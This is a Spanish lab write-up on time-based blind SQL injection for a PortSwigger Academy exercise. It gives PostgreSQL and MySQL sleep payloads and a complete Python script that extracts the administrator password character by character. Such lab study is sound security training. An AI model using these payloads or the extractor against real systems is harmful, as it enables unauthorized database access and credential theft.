> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).
# Exfiltración de datos mediante inyección SQL ciega basada en tiempo
Notas de Exfiltración de datos mediante inyección SQL ciega basada en tiempo para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### Inyección SQL ciega con retrasos temporales y recuperación de información
El valor de la `TrackingId` cookie se interpola en una consulta SQL síncrona. Se activa una interrupción condicional (`SLEEP` / `pg_sleep`) cuando una afirmación es verdadera; la información se deriva midiendo el tiempo de respuesta (es decir, retraso si la condición es verdadera).
#### PostgreSQL
* Dormir 5 s simple:
```
TrackingId=' || pg_sleep(5) || '
```
* Condicional (probar si `username='administrator'` → 5 s):
```
TrackingId=' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
* Probar longitud de la contraseña = 20:
```
TrackingId=' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
* Probar el carácter en `pos` posición:
```
TrackingId=' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
> Nota de Postgres: a veces la `FROM` posición debe ajustarse según la solicitud inyectada; los ejemplos anteriores son patrones comunes.
#### MySQL
* Dormir 5 s simple:
```
TrackingId=' AND SLEEP(5)-- -
```
* Condicional (substring):
```
TrackingId=' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```
* Probar longitud = N:
```
TrackingId=' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```
> MySQL: `IF(condición, sleep(seg), 0)` es la forma estándar; usa `SUBSTRING(...)` y `LENGTH(...)`.
***
### Ejemplos concretos (cookie completa)
Supongamos `BASE=abc123` y sesión `'SESSION=XYZ'`.
* Postgres — prueba de carácter pos=1 == 'a':
```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```
* MySQL — prueba de carácter pos=1 == 'a':
```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```
### Script Python automatizado (corregido, adaptable a Postgres y MySQL)
Este script mide la latencia y reconstruye carácter por carácter. Parámetros: `OBJETIVO`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` o `'mysql'`), alfabeto, retraso esperado (`SLEEP_SEC`) y `MAX_LEN`.
```python
#!/usr/bin/env python3
"""
Extractor de SQLi ciega basada en tiempo (Postgres / MySQL)
Uso: configura TARGET, BASE_TRACKING, SESSION, DBMS y luego ejecútalo.
Ejecutar SOLO en un entorno autorizado.
"""
import requests, time, string, sys, signal
# ------------- CONFIGURACIÓN -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test" # parte legítima del TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres" # "postgres" o "mysql"
SLEEP_SEC = 5 # retraso del lado del servidor activado
THRESHOLD = SLEEP_SEC - 1.0 # si respuesta > umbral => la condición es verdadera
ALPHABET = string.ascii_lowercase + string.digits # ajusta según sea necesario
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIGURACIÓN -------------
HEADERS = {"User-Agent": "Mozilla/5.0"}
def build_payload(sgdb, pos, ch):
if sgdb == "postgres":
# condición: substring(password,pos,1) = 'ch'
cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
payload = f"{BASE_TRACKING}' || {cond} || '"
elif sgdb == "mysql":
# IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
payload = f"{BASE_TRACKING}' OR {cond}-- -"
else:
raise ValueError("Unsupported DBMS")
return payload
def send_request(payload):
cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
t0 = time.time()
try:
r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
except requests.exceptions.RequestException as e:
return None, None
dt = time.time() - t0
return r, dt
def extract_password():
pwd = ""
for pos in range(1, MAX_LEN + 1):
found = False
for ch in ALPHABET:
payload = build_payload(DBMS, pos, ch)
_, dt = send_request(payload)
if dt is None:
print("[!] la solicitud falló, vuelve a intentar o verifica la conexión")
sys.exit(1)
# depuración: print(f"pos={pos} try={ch} dt={dt:.2f}s")
if dt > THRESHOLD:
pwd += ch
print(f"[+] pos={pos} -> '{ch}' (dt={dt:.2f}s)")
found = True
break
if not found:
print(f"[-] No se encontró ningún carácter en la posición {pos} -> fin probable")
break
return pwd
def sigint_handler(sig, frame):
print("/nInterrumpido. Saliendo.")
sys.exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, sigint_handler)
print("[*] Iniciando extracción (basada en tiempo)")
recovered = extract_password()
print(f"/n[=] Contraseña recuperada (parcial/estimada): {recovered}/n")
```
* Para **Postgres**, `DBMS="postgres"`.
* Para **MySQL**, `DBMS="mysql"`.
* Reducir `ALPHABET` Si conoces el conjunto de caracteres (gran ventaja).
* Ajusta `MAX_LEN` / `SLEEP_SEC` según el objetivo.
* Recuperación/retroceso exponencial si es necesario.
---
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